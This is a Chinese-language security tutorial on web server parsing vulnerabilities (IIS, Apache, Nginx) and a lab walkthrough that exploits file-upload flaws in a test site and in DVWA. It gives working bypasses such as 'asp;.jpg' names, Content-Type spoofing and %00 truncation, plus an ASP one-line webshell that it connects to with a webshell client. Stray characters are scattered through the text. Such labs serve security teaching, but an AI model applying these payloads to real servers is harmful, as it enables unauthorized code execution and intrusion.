1.什么是解析漏洞
以其他格式執(zhí)行出腳本格式的效果阶剑。
2.解析漏洞產(chǎn)生的條件
1.命名規(guī)則
2.搭建平臺
3.常見的解析漏洞
(一)IIS5.x-6.x解析漏洞
使用iis5.x-6.x版本的服務器曾雕,大多為windows server 2003腋舌,網(wǎng)站比較古老,開發(fā)語句一般為asp;該解析漏洞也只能解析asp文件,而不能解析aspx文件。
1)目錄解析(6.0)
形式:www.xxx.com/xx.asp/xx.jpg
原理: 服務器默認會把.asp镶奉,.asp目錄下的文件都解析成asp文件测蹲。
2)文件解析
形式:www.xxx.com/xx.asp;.jpg
原理:服務器默認不解析;號后面的內容莹捡,因此xx.asp;.jpg便被解析成asp文件了。
3)解析文件類型
IIS6.0 默認的可執(zhí)行文件除了asp還包含這三種 :
/test.asa
/test.cer
/test.cdx
(二)IIS7.5解析漏洞
IIS7.5的漏洞與nginx的類似扣甲,都是由于PHP配置文件中米酬,開啟了cgi.fix_pathinfo照弥,而這并不是nginx或者iis7.5本身的漏洞。
(三)apache解析漏洞
漏洞原理
Apache 解析文件的規(guī)則是從右到左開始判斷解析,如果后綴名為不可識別文件解析,就再往左判斷。比如test.php.qwe.asd “.qwe”和”.asd” 這兩種后綴是apache不可識別解析,apache就會把wooyun.php.qwe.asd解析成php亲族。
漏洞形式
www.xxxx.xxx.com/test.php.php123
其余配置問題導致漏洞
(1)如果在 Apache 的 conf 里有這樣一行配置 AddHandler php5-script .php 這時只要文件名里包含.php 即使文件名是 test2.php.jpg 也會以 php 來執(zhí)行。
(2)如果在 Apache 的 conf 里有這樣一行配置 AddType application/x-httpd-php .jpg 即使擴展名是 jpg胜蛉,一樣能以php 方式執(zhí)行掌桩。
修復方案
1.apache配置文件,禁止.php.這樣的文件執(zhí)行矾麻,配置文件里面加入
2.用偽靜態(tài)能解決這個問題纱耻,重寫類似.php.*這類文件,打開apache的httpd.conf找到LoadModule rewrite_module modules/mod_rewrite.so
把#號去掉险耀,重啟apache,在網(wǎng)站根目錄下建立.htaccess文件
(四)Nginx解析漏洞
漏洞原理
Nginx默認是以CGI的方式支持PHP解析的弄喘,普遍的做法是在Nginx配置文件中通過正則匹配設置SCRIPT_FILENAME。當訪問www.xx.com/phpinfo.jpg/1.php這個URL時甩牺,$fastcgi_script_name會被設置為“phpinfo.jpg/1.php”蘑志,然后構造成SCRIPT_FILENAME傳遞給PHP CGI,但是PHP為什么會接受這樣的參數(shù)贬派,并將phpinfo.jpg作為PHP文件解析呢?這就要說到fix_pathinfo這個選項了急但。 如果開啟了這個選項,那么就會觸發(fā)在PHP中的如下邏輯:
PHP會認為SCRIPT_FILENAME是phpinfo.jpg搞乏,而1.php是PATH_INFO波桩,所以就會將phpinfo.jpg作為PHP文件來解析了
漏洞形式
www.xxxx.com/UploadFiles/image/1.jpg/1.php
www.xxxx.com/UploadFiles/image/1.jpg%00.php
www.xxxx.com/UploadFiles/image/1.jpg/%20\0.php
另外一種手法:上傳一個名字為test.jpg,然后訪問test.jpg/.php,在這個目錄下就會生成一句話木馬shell.php请敦。
總結:
IIS6.0(x和腳本格式可以自定義)
文件命名形式:
正常命名:www.xxx.com/logo.jpg
觸發(fā)解析漏洞命名:www.xxx.com/logo.asp;.jpg或logo.asp;.x.jpg
文件夾命名形式:
正常命名:www.xxx.com/images/qq.jpg
觸發(fā)解析漏洞命名:www.xxx.com/image.asp/qq.jpg
IIS7.X(x自定義突委,只能執(zhí)行php)
正常命名:www.xxx.com/logo.jpg
觸發(fā)解析漏洞命名:www.xxx.com/logo.jpg/x.php
Apache(xxxx代表任意后綴,向上識別解析)
正常命名:www.xxx.com/a.php
觸發(fā)解析漏洞命名:www.xxx.com/a.php.xxxx
Nginx同iis7.x一致
4.一個簡單的解析例子
測試環(huán)境為:windwos2003+iis6.0 注意:測試環(huán)境必須是在windwos2003+iis6.0的情況下才能成功解析,不能是小旋風之類的軟件來測試冬三。
1)文件解析
直接訪問圖片地址:http://192.168.87.129:8067/6.jpg
改變圖片后戳名為:6.asp;.jpg 再次訪問匀油,就會發(fā)現(xiàn),jpg格式的圖片被解析成了asp格式的腳本語言勾笆。
還可以改成:6.asp;1234.jpg 效果是一樣的敌蚜。
2)目錄解析
將文件改為一個正常的圖片格式文件,然后把它復制到一個test.asp的目錄下,然后方法窝爪,發(fā)現(xiàn)也能正常解析弛车。
5.解析漏洞利用場景
解析漏洞主要用在文件上傳,上傳一些圖片什么的,然后通過解析漏洞,解析為動態(tài)語言齐媒。而上傳很重要的一點就是命名規(guī)則,因為如果你不知道,服務器的文件命名規(guī)則的話,解析漏洞就不好利用,因為我們要獲取我們上傳文件名,只有獲取到了上傳的文件名,才能進行下一步操作,而命名規(guī)則無非就是以下兩種纷跛。
測試源碼:http://download.csdn.net/detail/u011781521/9766646下載好之后,在服務器中新建一個網(wǎng)站,并復制進去喻括。
然后訪問首頁:http://192.168.87.129:8898/Index.asp
后臺登錄地址:http://192.168.87.129:8898/Tcnet/Admin_Login.asp
文件上傳地址:http://192.168.87.129:8898/Upload.asp?formname=myform&editname=bookpic&uppath=upfile&&filelx=jpg用戶名與密碼: admin admin 注意:必須先要登錄才能使用文件上傳功能。
1.本地贫奠,服務端命名一致
1)filepath上傳利用
直接上傳解析漏洞命名的后門文件
訪問這個地址:http://192.168.87.129:8898/Upload.asp?formname=myform&editname=bookpic&uppath=upfile&&filelx=jpg
先直接上傳一個asp的文件試試看能否上傳
發(fā)現(xiàn)并不能上傳唬血。那我們就利用解析漏洞來試下看,把asp改為fk.asp;.jpg(注:這里是圖片一句話)
OK能上傳。復制上傳好的地址唤崭,然后訪問
圖片能查看拷恨,但是asp并沒有被解析。谢肾。腕侄。這是時候怎么辦,從新上傳xxx.asp;.jpg,然后用Burp來抓包芦疏,進行修改冕杠。
右鍵發(fā)送到Repeater中去
修改其中的"filepath"在upfile/后面加上aaa.asp;. 然后Go一下你就會發(fā)現(xiàn),這里就成了一個解析漏洞了
然后訪問下這個地址,asp成功的被解析了酸茴。
然后用菜刀進行連接拌汇。
密碼就是"include";對應的asp一句話<%execute request("include")%> ?然后點擊添加。弊决。
連接成功。
2.本地魁淳,服務端命名不一致飘诗,基于時間,日期等命名
1)filetype突破
這里采用DVWA來測試界逛,
然后點擊"View Source"查看源碼昆稿。
Low代碼:
[html]view plaincopy
if(?isset(?$_POST[?'Upload'?]?)?)?{??//判斷是否是post傳過來的,也就是判斷upload是否為空
$target_path=DVWA_WEB_PAGE_TO_ROOT.?"hackable/uploads/";???//取得網(wǎng)站絕對路徑息拜,然后用絕對路徑+相對路徑得到一個完整的路徑溉潭。
$target_path.=basename(?$_FILES[?'uploaded'?][?'name'?]?);???//根據(jù)上面得到的完整路徑+得到的文件名。
if(?!move_uploaded_file(?$_FILES[?'uploaded'?][?'tmp_name'?],?$target_path?)?)?{??//判斷你上傳的圖片是否成功移動到完整路徑中
//?No
echo?'
Your?image?was?not?uploaded.
';
}
else?{
//?Yes!
echo?"
{$target_path}?succesfully?uploaded!
";
}
}
?>
$_FILES['uploaded']['name']:取得$_FILES全局文件變量的上傳文件名
該源碼存在的問題:
第一個沒有驗證后綴格式
什么格式得可以上傳少欺。喳瓣。
第二個客戶端,服務端文件命名一致
Medium代碼:
[html]view plaincopy
if(?isset(?$_POST[?'Upload'?]?)?)?{
//?我們要往哪里寫?
$target_path=DVWA_WEB_PAGE_TO_ROOT.?"hackable/uploads/";
$target_path.=basename(?$_FILES[?'uploaded'?][?'name'?]?);
//?文件信息
$uploaded_name=?$_FILES[?'uploaded'?][?'name'?];
$uploaded_type=?$_FILES[?'uploaded'?][?'type'?];
$uploaded_size=?$_FILES[?'uploaded'?][?'size'?];
//?判斷這是一個圖片嗎?
if(?(?$uploaded_type==?"image/jpeg"?||?$uploaded_type==?"image/png"?)?&&
(?$uploaded_size<100000)?)?{
//?我們可以移動文件到上傳文件夾嗎?
if(?!move_uploaded_file(?$_FILES[?'uploaded'?][?'tmp_name'?],?$target_path?)?)?{
//?No
echo?'
Your?image?was?not?uploaded.
';
}
else?{
//?Yes!
echo?"
{$target_path}?succesfully?uploaded!
";
}
}
else?{
//?Invalid?file
echo?'
Your?image?was?not?uploaded.?We?can?only?accept?JPEG?or?PNG?images.
';
}
}
?>
$_FILES['uploaded']['name'];取得$_FILES全局文件變量的上傳文件名
$_FILES['uploaded']['type'];取得$_FILES全局文件變量的上傳文件類型
$_FILES['uploaded']['size'];取得$_FILES全局文件變量的上傳大小
驗證文件上傳類型及大小赞别,還是本地畏陕,服務端命名一致
然后我們來上傳個asp文件用Burp抓包,看是否能成功上傳。
攔截到之后發(fā)送到Repeater,然后go一下
上傳失敗仿滔。惠毁。犹芹。這就很好奇了,明明這里沒有驗證文件后戳名鞠绰,為什么還是上傳不了???? 但是,他這里驗證了文件類型!!我們看下上傳的文件是什么類型的
看它上傳的類型為:application/octet-stram 所以他把上傳的asp當做application來處理里腰埂。
然后我們改一下content-type的類型為:image/jpeg
再次GO一下,發(fā)現(xiàn)上傳成功了蜈膨。
2)%00截斷:截斷字符
注意:數(shù)據(jù)包修改%00屿笼,務必進行url編碼
把6.asp;.jpg改為6.asp%00.jpg
然后選中右鍵把%00進行url編碼下。
這樣的話,就把.jpg給截斷了丈挟,然后就變成了6.asp刁卜。
High代碼:
[html]view plaincopy
if(?isset(?$_POST[?'Upload'?]?)?)?{
//?我們要往哪里寫?
$target_path=DVWA_WEB_PAGE_TO_ROOT.?"hackable/uploads/";
$target_path.=basename(?$_FILES[?'uploaded'?][?'name'?]?);
//?文件信息
$uploaded_name=?$_FILES[?'uploaded'?][?'name'?];
$uploaded_ext=substr(?$uploaded_name,?strrpos(?$uploaded_name,?'.'?)?+?1);
$uploaded_size=?$_FILES[?'uploaded'?][?'size'?];
$uploaded_tmp=?$_FILES[?'uploaded'?][?'tmp_name'?];
//?判斷是否是圖片?
if(?(?strtolower(?$uploaded_ext?)?==?"jpg"?||?strtolower(?$uploaded_ext?)?==?"jpeg"?||?strtolower(?$uploaded_ext?)?==?"png"?)?&&
(?$uploaded_size<100000)?&&
getimagesize(?$uploaded_tmp?)?)?{
//?我們可以移動文件到上傳文件夾嗎?
if(?!move_uploaded_file(?$uploaded_tmp,?$target_path?)?)?{
//?No
echo?'
Your?image?was?not?uploaded.
';
}
else?{
//?Yes!
echo?"
{$target_path}?succesfully?uploaded!
";
}
}
else?{
//?Invalid?file
echo?'
Your?image?was?not?uploaded.?We?can?only?accept?JPEG?or?PNG?images.
';
}
}
?>
strrpos( $uploaded_name, '.' ) + 1 的作用就是去文件的最后一個點
例如:
www.jpg.zip.txt.asp
他就會截取最后一個點,所以是繞不過的。
然后下面又是一個判斷曙咽。格式必須是圖片型的才能執(zhí)行下面的代碼蛔趴。